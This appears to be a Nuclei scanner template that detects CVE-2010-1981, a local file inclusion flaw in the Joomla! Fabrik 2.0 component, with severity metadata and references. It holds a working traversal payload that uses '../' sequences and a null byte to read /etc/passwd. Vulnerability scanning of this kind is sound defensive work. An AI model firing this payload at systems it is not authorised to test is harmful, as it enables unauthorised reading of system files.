id: CVE-2010-1981

info:
  name: Joomla! Component Fabrik 2.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Fabrik (com_fabrik) component 2.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12087
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1981
    - http://packetstormsecurity.org/1004-exploits/joomlafabrik-lfi.txt
    - http://www.exploit-db.com/exploits/12087
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57571
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1981
    cwe-id: CWE-22
    epss-score: 0.00656
    epss-percentile: 0.79446
    cpe: cpe:2.3:a:fabrikar:fabrik:2.0:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: fabrikar
    product: fabrik
    framework: joomla\!
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,fabrikar,joomla\!

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_fabrik&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022026762b079b59896a7bba1a5b276b01d95a6d70ec3e77cc5a0caddbaaf45b6326022076f6984566837882c4d301a4f179c344db0209b2e38a2a2f5dcfe2f9b96c7baf:922c64590222798bb761d5b6d8e72950